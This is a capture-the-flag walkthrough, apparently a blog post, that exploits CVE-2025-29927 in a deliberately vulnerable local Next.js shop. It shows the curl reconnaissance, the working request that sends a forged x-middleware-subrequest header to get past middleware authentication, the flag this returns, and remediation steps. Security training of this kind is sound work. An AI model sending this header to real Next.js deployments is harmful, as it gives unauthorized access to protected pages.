Exploiting CVE-2025-29927 to bypass Next.js middleware-based authentication using the x-middleware-subrequest internal header, accessing a protected internal status page without credentials.
Next.js uses an internal header to prevent middleware from running twice on subrequests. In versions before 15.2.3, an external attacker can send this header themselves to skip middleware entirely, bypassing any auth that depends on it.
Environment setup
Spin up the OopsSec Store in a new directory:
npx create-oss-store oss-store
cd oss-store
npm start
Or with Docker (no Node.js required):
docker run -p 3000:3000 leogra/oss-oopssec-store
Head to http://localhost:3000.
Reconnaissance
The application has a /monitoring/siem page visible in the UI, which hints at a broader monitoring section. Poking around under /monitoring/ (or running a directory wordlist) turns up /monitoring/internal-status:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/monitoring/internal-status
307 redirect to /login. The page exists but middleware is blocking unauthenticated access.
Identifying the vulnerability
The response headers confirm the app runs Next.js:
curl -sI http://localhost:3000 | grep -i x-powered-by
# X-Powered-By: Next.js
Looking up known Next.js vulnerabilities, CVE-2025-29927 stands out: a middleware bypass via the x-middleware-subrequest header, affecting versions before 15.2.3. No way to tell the exact version from the outside -- but we can just try the exploit and see what happens.
How it works
Next.js middleware can trigger subrequests that would re-enter the middleware and loop forever. To prevent this, Next.js tags subrequests with an internal header called x-middleware-subrequest. When the framework sees this header with the middleware module name repeated enough times (hitting a recursion depth threshold), it skips middleware execution.
The problem: nothing checks whether the header actually came from an internal subrequest. Any HTTP client can set it.
The header value looks like this:
x-middleware-subrequest: <module>:<module>:<module>:<module>:<module>
For a project with middleware.ts at the root (no src/ directory), the module name is just middleware. The name must appear 5 times, colon-separated, to hit the recursion depth threshold.
Exploitation
One request:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/monitoring/internal-status
Middleware never runs. The internal status page comes back without authentication, showing system diagnostics and the flag:
...$L1f\",null,{\"flag\":\"OSS{m1ddl3w4r3_byp4ss}\",\"title\":\"Internal Validation Token\",\"description\":\"Used for automated...
Why it works
The page at /monitoring/internal-status has no auth check of its own. The developer assumed middleware would handle it -- no reason to check twice. This is how most Next.js apps work in practice: middleware owns auth, pages trust that it ran. CVE-2025-29927 breaks that trust.
Note: a single middleware value isn't enough. The name must be repeated exactly 5 times to reach the recursion depth threshold.
Remediation
Upgrade Next.js to 15.2.3 or later. That version strips x-middleware-subrequest from external requests.
Don't rely on middleware as your only auth gate. Add server-side checks in route handlers and page components too:
// In the page component itself
import { cookies } from "next/headers";
import { redirect } from "next/navigation";
import { decodeWeakJWT } from "@/lib/server-auth";
export default async function ProtectedPage() {
const cookieStore = await cookies();
const token = cookieStore.get("authToken")?.value;
if (!token || !decodeWeakJWT(token)) {
redirect("/login");
}
// ... render page
}
You can also block x-middleware-subrequest at the reverse proxy or WAF level as an extra layer.
Lab
kOaDT
/
oss-oopssec-store
Security training for the apps you actually ship. Open your browser and start hacking.
OSS - OopsSec Store
An intentionally vulnerable e-commerce app for learning web security.
Master real-world attack vectors through a realistic CTF platform.
Hunt for flags, exploit vulnerabilities, and level up your security skills
Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues
____ ____ ____ ____ ____ ____ _
/ __ \/ __// __/ / __ \ ___ ___ ___ / __/ ___ ____ / __/ / /_ ___ ____ ___
/ /_/ /\ \ _\ \ / /_/ // _ \ / _ \(_-<_\ \ / -_)/ __/_\ \ / __// _ \ / __// -_)
\____/___//___/ \____/ \___// .__/___/___/ \__/ \__//___/ \__/ \___//_/ \__/
/_/
# Node.js
npx create-oss-store my-ctf-lab && cd my-ctf-lab && npm start
# Docker
docker run -p 3000:3000 leogra/oss-oopssec-store
# Then open http://localhost:3000 and…Disclaimers
Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.
Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.
Feedback & Support
Having trouble following this writeup? Found a typo or have suggestions for improvement?
Feel free to open an issue or start a discussion on GitHub.
Top comments (1)
This is fascinating. Does this exploit affect `getServer